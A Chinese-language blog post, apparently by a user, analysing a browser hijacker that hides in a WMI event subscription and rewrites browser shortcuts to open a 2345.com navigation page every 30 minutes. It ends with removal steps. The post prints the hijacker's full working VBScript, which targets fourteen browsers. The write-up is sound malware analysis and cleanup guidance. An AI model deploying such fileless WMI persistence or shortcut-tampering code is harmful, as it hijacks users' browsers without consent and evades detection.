近日在网上相续看到有网友表示自己在下载使用了VeryCD下载链接查看器这款工具以后,再打开浏览器就被直接跳转到 www.2345.com/?kunown 这个导航页面了,而且打开多个浏览器:IE、Chrome、Firefox、Opera、Safari、Maxthon,均相同症状,检查浏览器首页设置——均正常! 最后发现,原来快速启动栏的IE浏览器快捷命令被其修改,修改后的类似如下图,于是认为就是普通的修改快捷方式,手工删除 2345 网址的部分,但半小时后再次被更改了。考虑到可能加载了启动项,在注册表、启动项、服务等中均未查找到相关信息,重启后IE快捷方式被重新篡改。尝试了事件查看器和任务计划,均未在里面查出任何信息。 之后又安装了超级兔子、360、exterminateit等工具进行检查,也未检出。 打开ProcessMonitor进行监视,发现每隔30分钟出现一个scrcons.exe进程自动启动并修改快速启动栏的命令,然后自动关闭(幸亏是30分钟一次,你要是24小时一次,那我就杯具了……),修改Win7下opera快速启动图标路径类似如下: C:\Users\iefans\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Opera12.01 1532.lnk 查找资料,发现这应该是一个通过WMI发起的定时自动运行脚本。要查看WMI事件,到以下地址下载WMITool并安装 http://www.microsoft.com/en-us/download/details.aspx?id=24045 安装后打开WMI event viewer,点击左上角register for events,弹出Connect to namespace框,填入“root\subscription”,确定,出现下图: 点击左侧_EventFilter:Name="unown_filter",再至右侧右键点击ActiveScriptEventConsume r Name="unown",选择view instant properties,如下图: 查看ScriptText项可知,这是一段VBScript调用系统服务间隔30分钟执行一次,将所有浏览器调用加上“http://www.2345.com/?kunown”!抓住你了~!隐藏的够深,没常驻进程,没有文件(把自己存储在WMI数据库中)。 受到影响的浏览器有(各色浏览器,差不多齐了): "IEXPLORE.EXE", "chrome.exe", "firefox.exe", "360chrome.exe", "360SE.exe", "SogouExplorer.exe", "opera.exe", "Safari.exe", "Maxthon.exe", "TTraveler.exe", "TheWorld.exe", "baidubrowser.exe", "liebao.exe", "QQBrowser.exe" 具体代码如下: On Error Resume Next:Const link = "http://www.2345.com/?kunown":browsers = Array("IEXPLORE.EXE", "chrome.exe", "firefox.exe", "360chrome.exe", "360SE.exe", "SogouExplorer.exe", "opera.exe", "Safari.exe", "Maxthon.exe", "TTraveler.exe", "TheWorld.exe", "baidubrowser.exe", "liebao.exe", "QQBrowser.exe"):Set oDic = CreateObject("scripting.dictionary"):For Each browser In browsers:oDic.Add LCase(browser), browser:Next:Set fso = CreateObject("Scripting.Filesystemobject"):Set WshShell = CreateObject("Wscript.Shell"):strDesktop = "C:\Users\Gemini\Desktop":strAllUsersDesktop = WshShell.SpecialFolders("AllUsersDesktop"):QuickLaunch = "C:\Users\Gemini\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch":UserPinnedStartMenu = QuickLaunch & "\User Pinned\StartMenu":UserPinnedTaskBar = QuickLaunch & "\User Pinned\TaskBar":For Each file In fso.GetFolder(strDesktop).Files:If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then:set oShellLink = WshShell.CreateShortcut(file.Path):path = oShellLink.TargetPath:name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path):If oDic.Exists(LCase(name)) Then:oShellLink.Arguments = link:If file.Attributes And 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Save:End If:End If:Next:For Each file In fso.GetFolder(strAllUsersDesktop).Files:If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then:set oShellLink = WshShell.CreateShortcut(file.Path):path = oShellLink.TargetPath:name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path):If oDic.Exists(LCase(name)) Then:oShellLink.Arguments = link:If file.Attributes And 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Save:End If:End If:Next:If fso.FolderExists(QuickLaunch) Then:For Each file In fso.GetFolder(QuickLaunch).Files:If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then:set oShellLink = WshShell.CreateShortcut(file.Path):path = oShellLink.TargetPath:name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path):If oDic.Exists(LCase(name)) Then:oShellLink.Arguments = link:If file.Attributes And 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Save:End If:End If:Next:End If:If fso.FolderExists(UserPinnedStartMenu) Then:For Each file In fso.GetFolder(UserPinnedStartMenu).Files:If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then:set oShellLink = WshShell.CreateShortcut(file.Path):path = oShellLink.TargetPath:name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path):If oDic.Exists(LCase(name)) Then:oShellLink.Arguments = link:If file.Attributes And 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Save:End If:End If:Next:End If:If fso.FolderExists(UserPinnedTaskBar) Then:For Each file In fso.GetFolder(UserPinnedTaskBar).Files:If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then:set oShellLink = WshShell.CreateShortcut(file.Path):path = oShellLink.TargetPath:name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path):If oDic.Exists(LCase(name)) Then:oShellLink.Arguments = link:If file.Attributes And 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Save:End If:End If:Next:End If 最后,清除方法:在WMI event viewer中将“_EventFilter:Name="unown_filter"”项目右键删除! 删不掉? 到WMITool安装路径(例如:C:\Program Files (x86)\WMI Tools)下,右键点击wbemeventviewer.exe,选择以管理员身份运行!删之! 还没完,还要手动将快速启动栏中,将各个浏览器快捷命令中的http://www.2345.com/?kunown去掉! 暂时就这么多了,还有没有其它影响的话,用用再看吧! |